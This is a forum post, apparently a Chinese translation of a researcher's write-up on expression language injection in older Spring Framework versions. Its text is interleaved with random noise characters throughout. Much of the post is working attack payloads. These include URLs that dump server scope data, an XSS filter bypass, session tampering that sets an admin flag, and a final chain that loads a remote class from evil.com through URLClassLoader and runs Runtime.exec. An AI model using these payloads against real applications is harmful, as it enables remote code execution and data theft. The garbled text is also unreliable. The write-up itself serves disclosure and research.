找回密码
 立即注册
查看: 2503|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
# D  m9 U5 ?& p+ P9 [$ ZExpression Language Injection$ m  i  s) E4 x1 v# ^; U8 g
Spring Framework脆弱性—DanAmodio4 o" ]& a7 M- d: }$ @1 K
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中, D5 ]/ G0 b  L7 [) Z( X  s
可能会存在风险。
- j" y4 U8 L4 n1 @% {$ i; _8 q在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的0 |! s7 K. c- O
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可* Q1 P3 W2 g$ F
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
8 V; B3 D. ~) S+ I( h( X3 U, w以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前/ F" H( W7 J8 r
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
8 g+ y) p# O  t; ~由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
* n, i6 d8 H$ w  O我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
, K) V/ Z+ {% X# Q" M本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
: s( p3 p: _* T* X/ ~7 k3 F这些版本不支持禁用double EL resolution.
) _7 S$ R  C" }这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
, y9 O, R" S% vEL2.2容器上可能进行远程代码执行。" c5 }1 Q. i3 T- @0 P
这是一个原始信息泄露的攻击例子:2 x4 `! y4 K- R
请求:
( m! o) I6 E6 K' rttp://vulnerable.com/foo?message=${applicationScope}
) @/ p+ c; [. m$ I* x- y4 `) {6 Q0 Y3 e到达以下内容页面:
$ L- U% K" D- ?" e4 Z& a$ T结果将输出一些包含内部服务器信息calsspath 和本地工作目录0 U+ {$ _! a; p# @- ^
你也可以做一些其他事情,如这样:
8 Z9 @+ S- _* u  k6 m${9999+1}
# Z& M' R8 }: y( b4 C1 @9 g+ b还可以访问session 对象和beans8 ~3 R7 N. L! v% [; o- z- [/ {
${employee.lastName}
7 ^: \: O; V0 s/ V0 Z  s& L; t在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是( S& \/ v2 I8 Q- d3 Z* |$ ?" O
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
; w6 }% @( `/ F  i西,比如XSS.
* X' K& y8 r3 o9 A7 @/ J" a3 U' e- ^哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签4 ?& q" n' W+ @8 X; h
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤9 s! |% }' U( e: F
呢?”
: e7 V9 f: E2 @1 k因此,我尝试巳缦拢�
, i+ ?4 N( _' I  J# R, }5 F/ _http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
. b3 @/ Z: v  ~8 y  F8 y2 jP! e* T% X* _6 d1 @! L2 ~$ e6 g. r
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返" {& E6 k& u* M
回的文本被插入进了spring:message 标签。* q' d; ]6 G" e$ v0 W: \. {" G
这里是一个最终绕过过滤的实例:6 p8 Q! A! F2 ]# f  H
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ" j* ^& Y5 A1 b/ e6 ?* @
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为! N# [, n% l) |! l" }" r
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?1 r6 O% |9 ?3 H4 _# T! k1 D% t
经过一番研究,我学习到EL2.2 增加了方法调用。' P* B( e& d1 q* A/ y- W
我写了一个快速测试应用程序代码并且检测一些功能
/ U4 Y* n4 W0 T4 C${pageContext.request.getSession().setAttribute(“account”,”123456″)}
8 \1 E1 F& M* C+ _- ~${pageContext.request.getSession().setAttribute(“admin”,true)}  J0 F0 u# ]4 C) D& [& M2 u  l
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的4 K9 P4 _; V( g+ a) x- D
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?6 d# R4 Q) D" s# j% N% s- v8 l
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
7 \# k% Y! @+ x7 Z9 P* o“, 1234)}
: n. M* x1 c$ z- O${“”.getClass().forName(“java.lang.Runtime”)}
- x$ Q: ?# i& e哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不5 n+ W- P+ y- d# T; A7 j
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
" c) V/ A7 o7 ]+ i5 N- ^数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
$ R) l. N: l% @& q; K) W; {一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
! Z  j& F7 U9 Q* r0 y$ H; F% t方法签名invoke(Object obj, Object„ args); w- c3 {7 w/ x
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
1 [! T# b& n7 K/ S7 T题,以让它可以工作起来。. b3 }& T9 i8 l# o! B" n, t$ P
漏洞利用:& G7 {3 H$ c  t: W4 |$ {0 e1 v2 c  N
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
0 D3 a) ~$ t5 `8 p) G9 N; Q: p4 z, Q希望你们中的一些JAVA奇才告诉我我是如此的可笑。
7 @! Q, {, ]* }1 M6 G/ |这里有一些我试过的失败的用例,为了试图让它工作的用例:
8 _. K) c/ v& I 写文件到文件系统
  m, `& P5 p1 n/ U; ^* F+ I- q 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.! {* X! Z% [: g' O9 S4 t% a
我认为这些可以很好的工作,但是我不能找到合适的类来载入。2 r/ E6 q0 X4 C, W1 @
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
$ g$ K, h0 _+ Y* M/ h- {* Bjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
3 D: L7 a/ ]$ A/ W, Y3 d( worg.springframework.expression.spel.standard.SpelExpressionParser not found
9 E% `0 u5 {: V# i* T& qby% {% l5 b/ a4 a. S2 U
org.glassfish.web.javax.servlet.jsp [194].
3 h6 y' K1 b# X4 z- M0 k' ` 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public7 N- g# G: `% n
 利用反射来创建一个新的Runtime(and watch the world burn): n# |9 r9 q! G9 K. K
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
0 q: Q3 ?! P" \* ~) e(“java.lang.Runtime”)).getDeclaredConstructors()[0])}( F, ~1 P0 d( q$ N' z+ [' \1 Y' e
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
1 o  o, W& x6 H 使用java.lang.ProcessBuilder
* m& D2 I& X6 m9 m+ N+ j! A 用表达式语言来评估表达式语言9 s1 `4 Y; P* s  u
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
  C8 \' b5 C9 L! a+ K2 s${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
4 M$ p# Y; Q! w7 L( `“,”".getClass(),null)}; x! X& X- k* @7 i1 |  S" f
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
# A3 G! |5 ]; E* k9 ~# C我在使用一个空数组通过Method.invoke()时失败了很多次6 t! C2 }) b( \3 y6 V
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo# U# _. t+ r* H: i
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
  m7 w4 p- w! i7 L+ {, |rrayList”).newInstance().toArray())# z" U# v+ L( G$ G) o- D4 c" G
java.lang.IllegalArgumentException: wrong number of arguments% S" v4 f/ e, w$ F8 _
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可$ Y5 ]( m% j* t( g7 d9 N1 u
以创建一个恶意class文件并且指向类装载器.; R7 f1 z2 `+ B2 ~, c
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:9 g' F& ?! P% @2 v- t0 P
public class Malicious {
& l: W* S* P5 G# j7 l; _/ Dpublic Malicious() {/ P6 |* K3 v6 y/ s" \
try {  _$ {1 V5 s" [' q3 Y. o' G
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
7 ?+ A% k8 z+ u5 z. h5 Njava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
3 B8 p; w9 {1 M; O$ p* \" e} catch (Exception e) {
, |" K7 o4 S$ ]$ x9 U}7 r" S" F' ~  T- C
}/ @" ]8 [1 I" \, ?; r8 T) j' e
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回$ B! j. a& W+ P9 k' t% ]& d; X
话中,因此它可以被使用.
) h% I7 y6 z" b1 u. ?' {, n${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
) v9 R# d6 S; n: c3 X(“java.util.ArrayList”).newInstance())}
; T: b# z2 Z$ V. d3 O6 X$ PURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建# v4 y0 v9 L. g" D( E4 B
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
  Q: x( h/ }0 s# Q0 q1 P2 agetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个" T% b% S2 Z2 F$ b4 A4 a/ Z8 L6 u
我们可以调用的create(string)方法,然后转换对一个URL对象。; g0 F! R- q( E3 h5 r+ b3 H
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh# \  _" y  x! x, x$ E/ I
ere/malicious/classfile/is/located/”).toURL())}0 Z- s2 M+ I0 ]$ N
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
8 m/ U1 [/ V9 y' f; e% C7 ?. }恶意类文件被装载并创建,触发远程代码.
* b6 \6 D4 N2 U) P1 C${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
7 F! M; n, D# s/ j! Lxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
) H8 b( t3 {0 l1 n3 {0 WgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
) b) Z2 Q" u( f, h()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表